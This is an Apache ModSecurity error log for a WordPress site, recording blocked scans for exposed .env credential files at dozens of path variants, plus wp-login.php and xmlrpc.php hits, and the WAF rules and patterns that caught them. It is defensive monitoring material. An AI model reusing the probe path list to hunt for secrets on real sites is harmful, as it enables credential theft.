[Thu Jan 29 03:38:32.237699 2026] [:error] [pid 16050:tid 16070] [client 34.245.150.211:58238] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "aXpluOFPpSEbViHfa9KUDgAAANA"], referer: https://www.google.com/
[Thu Jan 29 03:38:32.809514 2026] [:error] [pid 15948:tid 15966] [client 34.245.150.211:58246] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "aXpluMs8-GxRVq8LLTWfyAAAAAI"], referer: https://www.google.com/
[Thu Jan 29 03:38:33.383738 2026] [:error] [pid 15950:tid 16034] [client 34.245.150.211:58252] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "aXpluYJOXwUqBC55abQukQAAAI8"], referer: https://www.google.com/
[Thu Jan 29 03:38:33.955190 2026] [:error] [pid 16050:tid 16068] [client 34.245.150.211:58264] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod"] [unique_id "aXplueFPpSEbViHfa9KUFQAAAM4"], referer: https://www.google.com/
[Thu Jan 29 03:38:34.529255 2026] [:error] [pid 15950:tid 16035] [client 34.245.150.211:58280] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev"] [unique_id "aXpluoJOXwUqBC55abQumAAAAJA"], referer: https://www.google.com/
[Thu Jan 29 03:38:35.102396 2026] [:error] [pid 16050:tid 16059] [client 34.245.150.211:58284] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "aXplu-FPpSEbViHfa9KUIAAAAMU"], referer: https://www.google.com/
[Thu Jan 29 03:38:35.675477 2026] [:error] [pid 16050:tid 16077] [client 34.245.150.211:54262] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aXplu-FPpSEbViHfa9KULAAAANc"], referer: https://www.google.com/
[Thu Jan 29 03:38:36.246204 2026] [:error] [pid 15950:tid 16024] [client 34.245.150.211:54276] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "aXplvIJOXwUqBC55abQunAAAAIU"], referer: https://www.google.com/
[Thu Jan 29 03:38:36.819519 2026] [:error] [pid 15949:tid 16016] [client 34.245.150.211:54288] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "aXplvCUUtCw0-hDUhapPMgAAAFg"], referer: https://www.google.com/
[Thu Jan 29 03:38:37.394444 2026] [:error] [pid 16050:tid 16061] [client 34.245.150.211:54292] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "aXplveFPpSEbViHfa9KUPAAAAMc"], referer: https://www.google.com/
[Thu Jan 29 03:38:37.969676 2026] [:error] [pid 15949:tid 16004] [client 34.245.150.211:54304] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.sample"] [unique_id "aXplvSUUtCw0-hDUhapPNAAAAEw"], referer: https://www.google.com/
[Thu Jan 29 03:38:38.547462 2026] [:error] [pid 15949:tid 16000] [client 34.245.150.211:54310] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "aXplviUUtCw0-hDUhapPNQAAAEg"], referer: https://www.google.com/
[Thu Jan 29 03:38:39.118000 2026] [:error] [pid 16050:tid 16061] [client 34.245.150.211:54326] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dist"] [unique_id "aXplv-FPpSEbViHfa9KUSgAAAMc"], referer: https://www.google.com/
[Thu Jan 29 03:38:39.692212 2026] [:error] [pid 16050:tid 16054] [client 34.245.150.211:54342] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod.local"] [unique_id "aXplv-FPpSEbViHfa9KUTwAAAMA"], referer: https://www.google.com/
[Thu Jan 29 03:38:40.269362 2026] [:error] [pid 16050:tid 16063] [client 34.245.150.211:54352] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev.local"] [unique_id "aXplwOFPpSEbViHfa9KUWAAAAMk"], referer: https://www.google.com/
[Thu Jan 29 03:38:40.860131 2026] [:error] [pid 15948:tid 15966] [client 34.245.150.211:54356] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.remote"] [unique_id "aXplwMs8-GxRVq8LLTWf-gAAAAI"], referer: https://www.google.com/
[Thu Jan 29 03:38:41.431544 2026] [:error] [pid 15948:tid 15979] [client 34.245.150.211:54370] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.1"] [unique_id "aXplwcs8-GxRVq8LLTWf-wAAAA8"], referer: https://www.google.com/
[Thu Jan 29 03:38:42.002994 2026] [:error] [pid 16050:tid 16071] [client 34.245.150.211:54372] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.2"] [unique_id "aXplwuFPpSEbViHfa9KUbwAAANE"], referer: https://www.google.com/
[Thu Jan 29 03:38:42.575078 2026] [:error] [pid 15948:tid 15976] [client 34.245.150.211:54382] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.3"] [unique_id "aXplwss8-GxRVq8LLTWgAgAAAAw"], referer: https://www.google.com/
[Thu Jan 29 03:38:45.358472 2026] [:error] [pid 15950:tid 16031] [client 34.245.150.211:54386] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.envs"] [unique_id "aXplxYJOXwUqBC55abQuswAAAIw"], referer: https://www.google.com/
[Thu Jan 29 03:38:45.930193 2026] [:error] [pid 15949:tid 16007] [client 34.245.150.211:56268] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "aXplxSUUtCw0-hDUhapPTwAAAE8"], referer: https://www.google.com/
[Thu Jan 29 03:38:46.509963 2026] [:error] [pid 16050:tid 16062] [client 34.245.150.211:56270] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/v1/.env"] [unique_id "aXplxuFPpSEbViHfa9KUjAAAAMg"], referer: https://www.google.com/
[Thu Jan 29 03:38:47.082377 2026] [:error] [pid 15949:tid 16014] [client 34.245.150.211:56278] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/v2/.env"] [unique_id "aXplxyUUtCw0-hDUhapPUAAAAFY"], referer: https://www.google.com/
[Thu Jan 29 03:38:49.425942 2026] [:error] [pid 15948:tid 15971] [client 34.245.150.211:56288] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/v3/.env"] [unique_id "aXplycs8-GxRVq8LLTWgDgAAAAc"], referer: https://www.google.com/
[Thu Jan 29 03:38:49.999313 2026] [:error] [pid 15949:tid 15994] [client 34.245.150.211:56298] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/rest/.env"] [unique_id "aXplySUUtCw0-hDUhapPWQAAAEI"], referer: https://www.google.com/
[Thu Jan 29 03:38:50.574177 2026] [:error] [pid 15950:tid 16037] [client 34.245.150.211:56300] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backend/.env"] [unique_id "aXplyoJOXwUqBC55abQuugAAAJI"], referer: https://www.google.com/
[Thu Jan 29 03:38:51.147005 2026] [:error] [pid 15950:tid 16032] [client 34.245.150.211:56304] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backend/api/.env"] [unique_id "aXply4JOXwUqBC55abQuvQAAAI0"], referer: https://www.google.com/
[Thu Jan 29 03:38:51.721467 2026] [:error] [pid 15949:tid 16016] [client 34.245.150.211:56318] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/server/.env"] [unique_id "aXplyyUUtCw0-hDUhapPXgAAAFg"], referer: https://www.google.com/
[Thu Jan 29 03:38:52.292856 2026] [:error] [pid 16050:tid 16065] [client 34.245.150.211:56324] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/server/api/.env"] [unique_id "aXplzOFPpSEbViHfa9KUlwAAAMs"], referer: https://www.google.com/
[Thu Jan 29 03:38:52.866437 2026] [:error] [pid 15949:tid 16014] [client 34.245.150.211:56328] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/graphql/.env"] [unique_id "aXplzCUUtCw0-hDUhapPYAAAAFY"], referer: https://www.google.com/
[Thu Jan 29 03:47:31.022497 2026] [:error] [pid 19070:tid 19119] [client 65.108.1.122:42958] [client 65.108.1.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.1.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpn07ou83lIon_aKgb6fQAAAE0"]
[Thu Jan 29 03:47:33.818276 2026] [:error] [pid 19070:tid 19130] [client 65.108.1.122:42958] [client 65.108.1.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.1.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpn1bou83lIon_aKgb6gwAAAFg"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 29 04:03:47.867973 2026] [:error] [pid 20579:tid 20659] [client 170.106.160.90:33352] [client 170.106.160.90] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXprozVXNopcNyjJc9VUPAAAAlI"]
[Thu Jan 29 04:36:37.964105 2026] [:error] [pid 19071:tid 19150] [client 51.159.214.31:34238] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpzVZfa8Ix5wWmtmJyL0QAAAJE"]
[Thu Jan 29 05:09:35.992336 2026] [:error] [pid 20580:tid 20689] [client 205.210.31.95:63028] [client 205.210.31.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.210.31.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXp7D5CZ5HHdXPmeL59HYQAAApU"]
[Thu Jan 29 05:32:03.787370 2026] [:error] [pid 20578:tid 20628] [client 217.154.5.38:55540] [client 217.154.5.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.5.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXqAUw6UX7yOMwQFiyeAigAAAg8"]
[Thu Jan 29 05:35:47.150109 2026] [:error] [pid 20486:tid 20496] [client 14.215.163.132:41188] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXqBM3gqSZb6GBx5nnPgZwAAAQc"]
[Thu Jan 29 06:48:02.849448 2026] [:error] [pid 19177:tid 19181] [client 24.199.87.153:35918] [client 24.199.87.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.199.87.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXqSInipGz0PT8TrQv76NgAAAMI"]
[Thu Jan 29 07:54:39.392442 2026] [:error] [pid 20486:tid 20509] [client 178.212.148.253:42786] [client 178.212.148.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.212.148.253, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXqhv3gqSZb6GBx5nnMSZQAAARQ"]
[Thu Jan 29 08:58:56.675661 2026] [:error] [pid 19070:tid 19130] [client 147.182.243.3:36808] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.243.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXqw0Lou83lIon_aKgZFzQAAAFg"]
[Thu Jan 29 09:19:54.690783 2026] [:error] [pid 19070:tid 19114] [client 147.135.252.177:52004] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aXq1urou83lIon_aKgZLVwAAAEg"]
[Thu Jan 29 09:19:56.838815 2026] [:error] [pid 19069:tid 19099] [client 147.135.252.177:41254] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aXq1vPDHsRM4BJ9a4QuLTQAAABU"]
[Thu Jan 29 09:20:00.263958 2026] [:error] [pid 20580:tid 20667] [client 147.135.252.177:41260] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aXq1wJCZ5HHdXPmeL597zAAAAoE"]
[Thu Jan 29 09:20:04.129774 2026] [:error] [pid 20486:tid 20501] [client 147.135.252.177:38464] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aXq1xHgqSZb6GBx5nnMy9wAAAQw"]
[Thu Jan 29 09:47:09.229773 2026] [:error] [pid 20486:tid 20496] [client 49.51.245.241:42140] [client 49.51.245.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXq8HXgqSZb6GBx5nnM-dwAAAQc"]
[Thu Jan 29 10:11:34.559952 2026] [:error] [pid 20578:tid 20625] [client 178.33.40.189:48726] [client 178.33.40.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.40.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXrB1g6UX7yOMwQFiye2jwAAAgw"]
[Thu Jan 29 10:51:47.249784 2026] [:error] [pid 20578:tid 20621] [client 81.88.52.141:54652] [client 81.88.52.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.52.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXrLQw6UX7yOMwQFiye9LQAAAgg"]
[Thu Jan 29 10:51:50.149876 2026] [:error] [pid 19071:tid 19153] [client 81.88.52.141:33386] [client 81.88.52.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.52.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXrLRpfa8Ix5wWmtmJz1iQAAAJQ"]
[Thu Jan 29 10:51:50.951161 2026] [:error] [pid 20486:tid 20510] [client 118.190.215.162:51240] [client 118.190.215.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.190.215.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXrLRngqSZb6GBx5nnNVNgAAARU"]
[Thu Jan 29 10:51:54.939751 2026] [:error] [pid 19069:tid 19082] [client 118.190.215.162:51444] [client 118.190.215.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.190.215.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXrLSvDHsRM4BJ9a4Quf9gAAAAQ"]
[Thu Jan 29 10:52:37.466299 2026] [:error] [pid 20486:tid 20490] [client 121.40.46.168:60642] [client 121.40.46.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.40.46.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXrLdXgqSZb6GBx5nnNVcgAAAQE"]
[Thu Jan 29 10:52:41.631080 2026] [:error] [pid 19177:tid 19189] [client 121.40.46.168:60740] [client 121.40.46.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.40.46.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXrLeXipGz0PT8TrQv4lnwAAAMo"]
[Thu Jan 29 10:53:45.713618 2026] [:error] [pid 20486:tid 20513] [client 49.206.232.123:42370] [client 49.206.232.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.206.232.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXrLuXgqSZb6GBx5nnNVsgAAARg"]
[Thu Jan 29 10:53:48.184509 2026] [:error] [pid 20579:tid 20660] [client 49.206.232.123:42392] [client 49.206.232.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.206.232.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXrLvDVXNopcNyjJc9WlYQAAAlM"]
[Thu Jan 29 11:14:58.879022 2026] [:error] [pid 19069:tid 19101] [client 43.153.48.240:43490] [client 43.153.48.240] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXrQsvDHsRM4BJ9a4Quk_wAAABc"]
